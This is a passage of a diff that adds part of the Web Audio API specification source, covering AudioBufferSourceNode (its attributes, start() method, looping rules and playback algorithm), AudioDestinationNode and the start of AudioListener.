+between 0 and the duration of the buffer.
+
+The {{AudioBufferSourceNode/playbackRate}} and
+{{AudioBufferSourceNode/detune}} attributes form a
+<a>compound parameter</a>. They are used together to determine a
+<dfn>computedPlaybackRate</dfn> value:
+
+<pre highlight>
+computedPlaybackRate(t) = playbackRate(t) * pow(2, detune(t) / 1200)
+</pre>
+
+The <a>nominal range</a> for this <a>compound parameter</a> is
+\((-\infty, \infty)\).
+
+{{AudioBufferSourceNode}}s are created with an internal boolean
+slot <dfn attribute for="AudioBufferSourceNode">[[buffer set]]</dfn>, initially set to false.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioBufferSourceNode : AudioScheduledSourceNode {
+	constructor (BaseAudioContext context,
+	             optional AudioBufferSourceOptions options = {});
+	attribute AudioBuffer? buffer;
+	readonly attribute AudioParam playbackRate;
+	readonly attribute AudioParam detune;
+	attribute boolean loop;
+	attribute double loopStart;
+	attribute double loopEnd;
+	undefined start (optional double when = 0,
+	                 optional double offset,
+	                 optional double duration);
+};
+</pre>
+
+<h4 id="AudioBufferSourceNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=method dfn-for="AudioBufferSourceNode/constructor">
+	: <dfn>AudioBufferSourceNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="AudioBufferSourceNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{AudioBufferSourceNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{AudioBufferSourceNode}}.
+		</pre>
+</dl>
+
+<h4 id="AudioBufferSourceNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioBufferSourceNode">
+	: <dfn>buffer</dfn>
+	::
+		Represents the audio asset to be played.
+
+		<div algorithm="set the buffer attribute">
+			To set the {{AudioBufferSourceNode/buffer}} attribute, execute these steps:
+
+			1. Let <var>new buffer</var> be the {{AudioBuffer}} or
+				<code>null</code> value to be assigned to {{AudioBufferSourceNode/buffer}}.
+
+			2. If <var>new buffer</var> is not <code>null</code> and
+				{{AudioBufferSourceNode/[[buffer set]]}} is true, throw an
+				{{InvalidStateError}} and abort these steps.
+
+			3. If <var>new buffer</var> is not <code>null</code>, set
+				{{AudioBufferSourceNode/[[buffer set]]}} to true.
+
+			4. Assign <var>new buffer</var> to the {{AudioBufferSourceNode/buffer}}
+				attribute.
+
+			5. If <code>start()</code> has previously been called on this
+				node, perform the operation <a href="#acquire-the-content">acquire the content</a> on
+				{{AudioBufferSourceNode/buffer}}.
+		</div>
+
+	: <dfn>detune</dfn>
+	::
+		An additional parameter, in cents, to modulate the speed at
+		which is rendered the audio stream. This parameter is a
+		<a>compound parameter</a> with {{AudioBufferSourceNode/playbackRate}} to form a
+		<a>computedPlaybackRate</a>.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>loop</dfn>
+	::
+		Indicates if the region of audio data designated by
+		{{AudioBufferSourceNode/loopStart}} and {{AudioBufferSourceNode/loopEnd}} should be played continuously
+		in a loop. The default value is <code>false</code>.
+
+	: <dfn>loopEnd</dfn>
+	::
+		An optional <a>playhead position</a> where looping should end if
+		the {{AudioBufferSourceNode/loop}} attribute is true. Its value is exclusive of the
+		content of the loop. Its default <code>value</code> is 0, and it
+		may usefully be set to any value between 0 and the duration of
+		the buffer. If {{AudioBufferSourceNode/loopEnd}} is less than or equal to 0, or if
+		{{AudioBufferSourceNode/loopEnd}} is greater than the duration of the buffer,
+		looping will end at the end of the buffer.
+
+	: <dfn>loopStart</dfn>
+	::
+		An optional <a>playhead position</a> where looping should begin
+		if the {{AudioBufferSourceNode/loop}} attribute is true. Its default
+		<code>value</code> is 0, and it may usefully be set to any value
+		between 0 and the duration of the buffer. If {{AudioBufferSourceNode/loopStart}} is
+		less than 0, looping will begin at 0. If {{AudioBufferSourceNode/loopStart}} is
+		greater than the duration of the buffer, looping will begin at
+		the end of the buffer.
+
+	: <dfn>playbackRate</dfn>
+	::
+		The speed at which to render the audio stream. This is a
+		<a>compound parameter</a> with {{AudioBufferSourceNode/detune}} to form a
+		<a>computedPlaybackRate</a>.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/k-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+</dl>
+
+<h4 id="AudioBufferSourceNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioBufferSourceNode">
+	: <dfn>start(when, offset, duration)</dfn>
+	::
+		Schedules a sound to playback at an exact time.
+
+		<div algorithm="AudioBufferSourceNode.start()">
+			<span class="synchronous">When this method is called, execute these steps:</span>
+
+			1. <span class="synchronous">If this {{AudioBufferSourceNode}} internal
+				slot {{AudioScheduledSourceNode/[[source started]]}} is `true`, an
+				{{InvalidStateError}} exception MUST be thrown.</span>
+
+			1. Check for any errors that must be thrown due to parameter
+				constraints described below.  If any
+				exception is thrown during this step,
+				abort those steps.
+
+			1. Set the internal slot {{AudioScheduledSourceNode/[[source started]]}} on
+				this {{AudioBufferSourceNode}} to <code>true</code>.
+
+			1. <a>Queue a control message</a> to start the
+				{{AudioBufferSourceNode}}, including the parameter values
+				in the message.
+
+			1. <a>Acquire the contents</a> of the
+				{{AudioBufferSourceNode/buffer}} if the
+				{{AudioBufferSourceNode/buffer}} has been set.
+			1. Send a <a>control message</a> to the associated {{AudioContext}} to
+				<a href="#context-resume">start running its rendering thread</a> only when
+				all the following conditions are met:
+				1. The context's {{[[control thread state]]}} is
+					{{AudioContextState/suspended}}.
+				1. The context is <a>allowed to start</a>.
+				1. {{[[suspended by user]]}} flag is <code>false</code>.
+
+				NOTE: This allows
+				{{AudioBufferSourceNode/start()}} to start an
+				{{AudioContext}} that would otherwise not be
+				<a>allowed to start</a>.
+
+		</div>
+
+		<div algorithm="run a control message to start the AudioBufferSourceNode">
+			Running a <a>control message</a> to start the {{AudioBufferSourceNode}}
+			means invoking the <code>handleStart()</code> function in the
+			[[#playback-AudioBufferSourceNode|playback algorithm]] which follows.
+		</div>
+
+		<pre class=argumentdef for="AudioBufferSourceNode/start(when, offset, duration)">
+			when: The <code>when</code> parameter describes at what time (in seconds) the sound should start playing. It is in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. If 0 is passed in for this value or if the value is less than <b>currentTime</b>, then the sound will start playing immediately. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>when</code> is negative.</span>
+			offset: The <code>offset</code> parameter supplies a <a>playhead position</a> where playback will begin. If 0 is passed in for this value, then playback will start from the beginning of the buffer. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>offset</code> is negative.</span> If <code>offset</code> is greater than {{AudioBufferSourceNode/loopEnd}}, {{AudioBufferSourceNode/playbackRate}} is positive or zero, and {{AudioBufferSourceNode/loop}} is <code>true</code>, playback will begin at {{AudioBufferSourceNode/loopEnd}}.  If <code>offset</code> is greater than {{AudioBufferSourceNode/loopStart}}, {{AudioBufferSourceNode/playbackRate}} is negative, and {{AudioBufferSourceNode/loop}} is <code>true</code>, playback will begin at {{AudioBufferSourceNode/loopStart}}. <code>offset</code> is silently clamped to [0, <code>duration</code>], when <code>startTime</code> is reached, where <code>duration</code> is the value of the <code>duration</code> attribute of the {{AudioBuffer}} set to the {{AudioBufferSourceNode/buffer}} attribute of this <code>AudioBufferSourceNode</code>.
+			duration: The {{AudioBufferSourceNode/start(when, offset, duration)/duration}} parameter describes the duration of sound to be played, expressed as seconds of total buffer content to be output, including any whole or partial loop iterations. The units of {{AudioBufferSourceNode/start(when, offset, duration)/duration}} are independent of the effects of {{AudioBufferSourceNode/playbackRate}}. For example, a {{AudioBufferSourceNode/start(when, offset, duration)/duration}} of 5 seconds with a playback rate of 0.5 will output 5 seconds of buffer content at half speed, producing 10 seconds of audible output. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>duration</code> is negative.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+</dl>
+
+<h4 dictionary lt="audiobuffersourceoptions" id="AudioBufferSourceOptions">
+{{AudioBufferSourceOptions}}</h4>
+
+This specifies options for constructing a
+{{AudioBufferSourceNode}}. All members are
+optional; if not specified, the normal default is used in
+constructing the node.
+
+<pre class="idl">
+dictionary AudioBufferSourceOptions {
+	AudioBuffer? buffer;
+	float detune = 0;
+	boolean loop = false;
+	double loopEnd = 0;
+	double loopStart = 0;
+	float playbackRate = 1;
+};
+</pre>
+
+<h5 id="dictionary-audiobuffersourceoptions-members">
+Dictionary {{AudioBufferSourceOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="AudioBufferSourceOptions">
+	: <dfn>buffer</dfn>
+	::
+		The audio asset to be played. This is equivalent to assigning
+		{{AudioBufferSourceOptions/buffer}} to the {{AudioBufferSourceNode/buffer}} attribute of
+		the {{AudioBufferSourceNode}}.
+
+	: <dfn>detune</dfn>
+	::
+		The initial value for the {{AudioBufferSourceNode/detune}} AudioParam.
+
+	: <dfn>loop</dfn>
+	::
+		The initial value for the {{AudioBufferSourceNode/loop}} attribute.
+
+	: <dfn>loopEnd</dfn>
+	::
+		The initial value for the {{AudioBufferSourceNode/loopEnd}} attribute.
+
+	: <dfn>loopStart</dfn>
+	::
+		The initial value for the {{AudioBufferSourceNode/loopStart}} attribute.
+
+	: <dfn>playbackRate</dfn>
+	::
+		The initial value for the {{AudioBufferSourceNode/playbackRate}} AudioParam.
+</dl>
+
+<h4 id="looping-AudioBufferSourceNode">
+Looping</h4>
+
+<em>This section is non-normative. Please see <a href="#playback-AudioBufferSourceNode">the playback algorithm</a> for
+normative requirements.</em>
+
+Setting the {{AudioBufferSourceNode/loop}}
+attribute to true causes playback of the region of the buffer
+defined by the endpoints {{AudioBufferSourceNode/loopStart}} and {{AudioBufferSourceNode/loopEnd}} to continue indefinitely, once
+any part of the looped region has been played. While
+{{AudioBufferSourceNode/loop}} remains true,
+looped playback will continue until one of the following occurs:
+
+* {{AudioScheduledSourceNode/stop()}} is called,
+
+* the scheduled stop time has been reached,
+
+* the <code>duration</code> has been exceeded, if
+	{{AudioBufferSourceNode/start()}}
+	was called with a <code>duration</code> value.
+
+The body of the loop is considered to occupy a region from
+{{AudioBufferSourceNode/loopStart}} up to, but
+not including, {{AudioBufferSourceNode/loopEnd}}. The direction of playback of
+the looped region respects the sign of the node's playback rate.
+For positive playback rates, looping occurs from {{AudioBufferSourceNode/loopStart}} to {{AudioBufferSourceNode/loopEnd}}; for negative rates, looping
+occurs from {{AudioBufferSourceNode/loopEnd}} to
+{{AudioBufferSourceNode/loopStart}}.
+
+Looping does not affect the interpretation of the
+<code>offset</code> argument of {{AudioBufferSourceNode/start()}}. Playback always
+starts at the requested offset, and looping only begins once the
+body of the loop is encountered during playback.
+
+The effective loop start and end points are required to lie within
+the range of zero and the buffer duration, as specified in the
+algorithm below. {{AudioBufferSourceNode/loopEnd}} is further constrained to be at
+or after {{AudioBufferSourceNode/loopStart}}. If
+any of these constraints are violated, the loop is considered to
+include the entire buffer contents.
+
+Loop endpoints have subsample accuracy. When endpoints do not fall
+on exact sample frame offsets, or when the playback rate is not
+equal to 1, playback of the loop is interpolated to splice the
+beginning and end of the loop together just as if the looped audio
+occurred in sequential, non-looped regions of the buffer.
+
+Loop-related properties may be varied during playback of the
+buffer, and in general take effect on the next rendering quantum.
+The exact results are defined by the normative playback algorithm
+which follows.
+
+The default values of the {{AudioBufferSourceNode/loopStart}} and {{AudioBufferSourceNode/loopEnd}} attributes are both 0. Since a
+{{AudioBufferSourceNode/loopEnd}} value of zero
+is equivalent to the length of the buffer, the default endpoints
+cause the entire buffer to be included in the loop.
+
+Note that the values of the loop endpoints are expressed as time
+offsets in terms of the sample rate of the buffer, meaning that
+these values are independent of the node's {{AudioBufferSourceNode/playbackRate}} parameter which can vary
+dynamically during the course of playback.
+
+<h4 id="playback-AudioBufferSourceNode">
+Playback of AudioBuffer Contents</h4>
+
+This normative section specifies the playback of the contents of
+the buffer, accounting for the fact that playback is influenced by
+the following factors working in combination:
+
+* A starting offset, which can be expressed with sub-sample precision.
+
+* Loop points, which can be expressed with sub-sample precision and can
+	 vary dynamically during playback.
+
+* Playback rate and detuning parameters, which combine to yield a
+	single <a>computedPlaybackRate</a> that can assume finite values
+	which may be positive or negative.
+
+The algorithm to be followed internally to generate output from an
+{{AudioBufferSourceNode}} conforms to the following principles:
+
+* Resampling of the buffer may be performed arbitrarily by the UA
+	at any desired point to increase the efficiency or quality of the
+	output.
+
+* Sub-sample start offsets or loop points may require additional
+	interpolation between sample frames.
+
+* The playback of a looped buffer should behave identically to an
+	unlooped buffer containing consecutive occurrences of the looped
+	audio content, excluding any effects from interpolation.
+
+The description of the algorithm is as follows:
+
+<xmp highlight="js" line-numbers>
+let buffer; // AudioBuffer employed by this node
+let context; // AudioContext employed by this node
+
+// The following variables capture attribute and AudioParam values for the node.
+// They are updated on a k-rate basis, prior to each invocation of process().
+let loop;
+let detune;
+let loopStart;
+let loopEnd;
+let playbackRate;
+
+// Variables for the node's playback parameters
+let start = 0, offset = 0, duration = Infinity; // Set by start()
+let stop = Infinity; // Set by stop()
+
+
+// Variables for tracking node's playback state
+let bufferTime = 0, started = false, enteredLoop = false;
+let bufferTimeElapsed = 0;
+let dt = 1 / context.sampleRate;
+
+// Handle invocation of start method call
+function handleStart(when, pos, dur) {
+	if (arguments.length >= 1) {
+		start = when;
+	}
+	offset = pos;
+	if (arguments.length >= 3) {
+		duration = dur;
+	}
+}
+
+// Handle invocation of stop method call
+function handleStop(when) {
+	if (arguments.length >= 1) {
+		stop = when;
+	} else {
+		stop = context.currentTime;
+	}
+}
+
+// Interpolate a multi-channel signal value for some sample frame.
+// Returns an array of signal values.
+function playbackSignal(position) {
+	/*
+		This function provides the playback signal function for buffer, which is a
+		function that maps from a playhead position to a set of output signal
+		values, one for each output channel. If |position| corresponds to the
+		location of an exact sample frame in the buffer, this function returns
+		that frame. Otherwise, its return value is determined by a UA-supplied
+		algorithm that interpolates sample frames in the neighborhood of
+		|position|.
+
+		If |position| is greater than or equal to |loopEnd| and there is no subsequent
+		sample frame in buffer, then interpolation should be based on the sequence
+		of subsequent frames beginning at |loopStart|.
+	 */
+	 ...
+}
+
+// Generate a single render quantum of audio to be placed
+// in the channel arrays defined by output. Returns an array
+// of |numberOfFrames| sample frames to be output.
+function process(numberOfFrames) {
+	let currentTime = context.currentTime; // context time of next rendered frame
+	const output = []; // accumulates rendered sample frames
+
+	// Combine the two k-rate parameters affecting playback rate
+	const computedPlaybackRate = playbackRate * Math.pow(2, detune / 1200);
+
+	// Determine loop endpoints as applicable
+	let actualLoopStart, actualLoopEnd;
+	if (loop && buffer != null) {
+		if (loopStart >= 0 && loopEnd > 0 && loopStart < loopEnd) {
+			actualLoopStart = loopStart;
+			actualLoopEnd = Math.min(loopEnd, buffer.duration);
+		} else {
+			actualLoopStart = 0;
+			actualLoopEnd = buffer.duration;
+		}
+	} else {
+		// If the loop flag is false, remove any record of the loop having been entered
+		enteredLoop = false;
+	}
+
+	// Handle null buffer case
+	if (buffer == null) {
+		stop = currentTime; // force zero output for all time
+	}
+
+	// Render each sample frame in the quantum
+	for (let index = 0; index < numberOfFrames; index++) {
+		// Check that currentTime and bufferTimeElapsed are
+		// within allowable range for playback
+		if (currentTime < start || currentTime >= stop || bufferTimeElapsed >= duration) {
+			output.push(0); // this sample frame is silent
+			currentTime += dt;
+			continue;
+		}
+
+		if (!started) {
+			// Take note that buffer has started playing and get initial
+			// playhead position.
+			if (loop && computedPlaybackRate >= 0 && offset >= actualLoopEnd) {
+				offset = actualLoopEnd;
+			}
+			if (computedPlaybackRate < 0 && loop && offset < actualLoopStart) {
+				offset = actualLoopStart;
+			}
+			bufferTime = offset;
+			started = true;
+		}
+
+		// Handle loop-related calculations
+		if (loop) {
+			// Determine if looped portion has been entered for the first time
+			if (!enteredLoop) {
+				if (offset < actualLoopEnd && bufferTime >= actualLoopStart) {
+					// playback began before or within loop, and playhead is
+					// now past loop start
+					enteredLoop = true;
+				}
+				if (offset >= actualLoopEnd && bufferTime < actualLoopEnd) {
+					// playback began after loop, and playhead is now prior
+					// to the loop end
+					enteredLoop = true;
+				}
+			}
+
+			// Wrap loop iterations as needed. Note that enteredLoop
+			// may become true inside the preceding conditional.
+			if (enteredLoop) {
+				while (bufferTime >= actualLoopEnd) {
+					bufferTime -= actualLoopEnd - actualLoopStart;
+				}
+				while (bufferTime < actualLoopStart) {
+					bufferTime += actualLoopEnd - actualLoopStart;
+				}
+			}
+		}
+
+		if (bufferTime >= 0 && bufferTime < buffer.duration) {
+			output.push(playbackSignal(bufferTime));
+		} else {
+			output.push(0); // past end of buffer, so output silent frame
+		}
+
+		bufferTime += dt * computedPlaybackRate;
+		bufferTimeElapsed += dt * computedPlaybackRate;
+		currentTime += dt;
+	} // End of render quantum loop
+
+	if (currentTime >= stop) {
+		// End playback state of this node.  No further invocations of process()
+		// will occur.  Schedule a change to set the number of output channels to 1.
+	}
+
+	return output;
+}
+</xmp>
+
+The following non-normative figures illustrate the behavior of the
+algorithm in assorted key scenarios. Dynamic resampling of the
+buffer is not considered, but as long as the times of loop
+positions are not changed this does not materially affect the
+resulting playback. In all figures, the following conventions
+apply:
+
+* context sample rate is 1000 Hz
+
+* {{AudioBuffer}} content is shown with the first sample frame
+	at the <em>x</em> origin.
+
+* output signals are shown with the sample frame located at time
+	<code>start</code> at the <em>x</em> origin.
+
+* linear interpolation is depicted throughout, although a UA
+	could employ other interpolation techniques.
+
+* the <code>duration</code> values noted in the figures refer to the <code>buffer</code>, not arguments to {{AudioBufferSourceNode/start()}}
+
+This figure illustrates basic playback of a buffer, with a simple
+loop that ends after the last sample frame in the buffer:
+
+<figure>
+	<img alt="AudioBufferSourceNode basic playback" src="images/absn-basic.png" width="556" height="485">
+	<figcaption>
+		{{AudioBufferSourceNode}} basic playback
+	</figcaption>
+</figure>
+
+This figure illustrates <code>playbackRate</code> interpolation,
+showing half-speed playback of buffer contents in which every other
+output sample frame is interpolated. Of particular note is the last
+sample frame in the looped output, which is interpolated using the
+loop start point:
+
+<figure>
+	<img alt="AudioBufferSourceNode playbackRate interpolation" src="images/absn-slow-loop.png" width="543" height="472">
+	<figcaption>
+		{{AudioBufferSourceNode}} playbackRate interpolation
+	</figcaption>
+</figure>
+
+This figure illustrates sample rate interpolation, showing playback
+of a buffer whose sample rate is 50% of the context sample rate,
+resulting in a computed playback rate of 0.5 that corrects for the
+difference in sample rate between the buffer and the context. The
+resulting output is the same as the preceding example, but for
+different reasons.
+
+<figure>
+	<img alt="AudioBufferSourceNode sample rate interpolation" src="images/absn-half-sample-rate.png" width="543" height="459">
+	<figcaption>
+		{{AudioBufferSourceNode}} sample rate interpolation.
+	</figcaption>
+</figure>
+
+This figure illustrates subsample offset playback, in which the
+offset within the buffer begins at exactly half a sample frame.
+Consequently, every output frame is interpolated:
+
+<figure>
+	<img alt="AudioBufferSourceNode subsample offset playback" src="images/absn-offset.png" width="543" height="448">
+	<figcaption>
+		{{AudioBufferSourceNode}} subsample offset playback
+	</figcaption>
+</figure>
+
+This figure illustrates subsample loop playback, showing how
+fractional frame offsets in the loop endpoints map to interpolated
+data points in the buffer that respect these offsets as if they
+were references to exact sample frames:
+
+<figure>
+	<img alt="AudioBufferSourceNode subsample loop playback" src="images/absn-subsample-loop.png" width="543" height="480">
+	<figcaption>
+		{{AudioBufferSourceNode}} subsample loop playback
+	</figcaption>
+</figure>
+
+
+<!--
+████████  ████████  ██████  ████████ ████ ██    ██    ███    ████████ ████  ███████  ██    ██
+██     ██ ██       ██    ██    ██     ██  ███   ██   ██ ██      ██     ██  ██     ██ ███   ██
+██     ██ ██       ██          ██     ██  ████  ██  ██   ██     ██     ██  ██     ██ ████  ██
+██     ██ ██████    ██████     ██     ██  ██ ██ ██ ██     ██    ██     ██  ██     ██ ██ ██ ██
+██     ██ ██             ██    ██     ██  ██  ████ █████████    ██     ██  ██     ██ ██  ████
+██     ██ ██       ██    ██    ██     ██  ██   ███ ██     ██    ██     ██  ██     ██ ██   ███
+████████  ████████  ██████     ██    ████ ██    ██ ██     ██    ██    ████  ███████  ██    ██
+-->
+
+<h3 interface lt="audiodestinationnode" id="AudioDestinationNode">
+The {{AudioDestinationNode}} Interface</h3>
+
+This is an {{AudioNode}} representing the final audio
+destination and is what the user will ultimately hear. It can often
+be considered as an audio output device which is connected to
+speakers. All rendered audio to be heard will be routed to this node,
+a "terminal" node in the {{AudioContext}}'s routing
+graph. There is only a single AudioDestinationNode per
+{{AudioContext}}, provided through the
+<code>destination</code> attribute of
+{{AudioContext}}.
+
+The output of a {{AudioDestinationNode}} is produced
+by <a href="#channel-up-mixing-and-down-mixing">summing its input</a>, allowing to
+capture the output of an {{AudioContext}} into, for
+example, a {{MediaStreamAudioDestinationNode}}, or a
+<code>MediaRecorder</code> (described in [[mediastream-recording]]).
+
+The {{AudioDestinationNode}} can be either the destination of an
+{{AudioContext}} or {{OfflineAudioContext}}, and the channel
+properties depend on what the context is.
+
+For an {{AudioContext}}, the defaults are
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: explicit
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+The {{AudioNode/channelCount}} can be set to any
+value less than or equal to {{AudioDestinationNode/maxChannelCount}}. <span class="synchronous">An {{IndexSizeError}} exception MUST be thrown
+if this value is not within the valid range.</span> Giving a concrete
+example, if the audio hardware supports 8-channel output, then we may
+set {{AudioNode/channelCount}} to 8, and render 8
+channels of output.
+
+For an {{OfflineAudioContext}}, the defaults are
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: numberOfChannels
+	cc-mode: explicit
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+where <code>numberOfChannels</code> is the number of channels
+specified when constructing the {{OfflineAudioContext}}. This
+value may not be changed; <span class="synchronous">a
+{{NotSupportedError}} exception MUST be thrown if
+{{AudioNode/channelCount}} is changed to a
+different value</span>.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioDestinationNode : AudioNode {
+	readonly attribute unsigned long maxChannelCount;
+};
+</pre>
+
+<h4 id="AudioDestinationNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioDestinationNode">
+	: <dfn>maxChannelCount</dfn>
+	::
+		The maximum number of channels that the {{AudioNode/channelCount}} attribute can be set
+		to. An {{AudioDestinationNode}} representing the
+		audio hardware end-point (the normal case) can potentially output
+		more than 2 channels of audio if the audio hardware is
+		multi-channel. {{AudioDestinationNode/maxChannelCount}} is the maximum number
+		of channels that this hardware is capable of supporting.
+</dl>
+
+
+<!--
+██       ████  ██████  ████████ ████████ ██    ██ ████████ ████████
+██        ██  ██    ██    ██    ██       ███   ██ ██       ██     ██
+██        ██  ██          ██    ██       ████  ██ ██       ██     ██
+██        ██   ██████     ██    ██████   ██ ██ ██ ██████   ████████
+██        ██        ██    ██    ██       ██  ████ ██       ██   ██
+██        ██  ██    ██    ██    ██       ██   ███ ██       ██    ██
+████████ ████  ██████     ██    ████████ ██    ██ ████████ ██     ██
+-->
+
+<h3 interface lt="audiolistener" id="AudioListener">
+The {{AudioListener}} Interface</h3>
+
+This interface represents the position and orientation of the person
+listening to the audio scene. All {{PannerNode}}
+objects spatialize in relation to the
+{{BaseAudioContext}}'s {{BaseAudioContext/listener}}. See [[#Spatialization]]
+for more details about spatialization.
+
+The {{AudioListener/positionX}}, {{AudioListener/positionY}}, and {{AudioListener/positionZ}} parameters represent
+the location of the listener in 3D Cartesian coordinate space.
+{{PannerNode}} objects use this position relative to
+individual audio sources for spatialization.
+
+The {{AudioListener/forwardX}}, {{AudioListener/forwardY}}, and {{AudioListener/forwardZ}} parameters represent a
+direction vector in 3D space. Both a <code>forward</code> vector and
+an <code>up</code> vector are used to determine the orientation of
+the listener. In simple human terms, the <code>forward</code> vector
+represents which direction the person's nose is pointing. The
+<code>up</code> vector represents the direction the top of a person's
+head is pointing. These two vectors are expected to be linearly
+independent. For normative requirements of how these values are to be
+interpreted, see the [[#Spatialization]] section.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioListener {
+	readonly attribute AudioParam positionX;
+	readonly attribute AudioParam positionY;
+	readonly attribute AudioParam positionZ;
+	readonly attribute AudioParam forwardX;
+	readonly attribute AudioParam forwardY;
+	readonly attribute AudioParam forwardZ;
+	readonly attribute AudioParam upX;
+	readonly attribute AudioParam upY;
+	readonly attribute AudioParam upZ;
+	undefined setPosition (float x, float y, float z);
+	undefined setOrientation (float x, float y, float z, float xUp, float yUp, float zUp);
+};
+</pre>
+
+<h4 id="AudioListener-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioListener">
+	: <dfn>forwardX</dfn>
+	::
+		Sets the x coordinate component of the forward direction the
+		listener is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>forwardY</dfn>
+	::
+		Sets the y coordinate component of the forward direction the
+		listener is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>forwardZ</dfn>
+	::
+		Sets the z coordinate component of the forward direction the
+		listener is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: -1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>positionX</dfn>
+	::
+		Sets the x coordinate position of the audio listener in a 3D
+		Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>positionY</dfn>
+	::
+		Sets the y coordinate position of the audio listener in a 3D
+		Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>positionZ</dfn>
+	::
+		Sets the z coordinate position of the audio listener in a 3D
+		Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>upX</dfn>
+	::
+		Sets the x coordinate component of the up direction the
+		listener is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>upY</dfn>
+	::
+		Sets the y coordinate component of the up direction the
+		listener is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>upZ</dfn>
+	::
+		Sets the z coordinate component of the up direction the
+		listener is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+</dl>
+
+<h4 id="AudioListener-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioListener">
+	: <dfn>setOrientation(x, y, z, xUp, yUp, zUp)</dfn>
+	::
+		This method is DEPRECATED. It is equivalent to setting
+		{{forwardX}}.{{AudioParam/value}},
+		{{forwardY}}.{{AudioParam/value}},
+		{{forwardZ}}.{{AudioParam/value}},
+		{{upX}}.{{AudioParam/value}},
+		{{upY}}.{{AudioParam/value}}, and
+		{{upZ}}.{{AudioParam/value}} directly
+		with the given <code>x</code>, <code>y</code>, <code>z</code>,
+		<code>xUp</code>, <code>yUp</code>, and <code>zUp</code>
+		values, respectively.
+
+		<span class="synchronous">Consequently, if any of the {{forwardX}}, {{forwardY}},
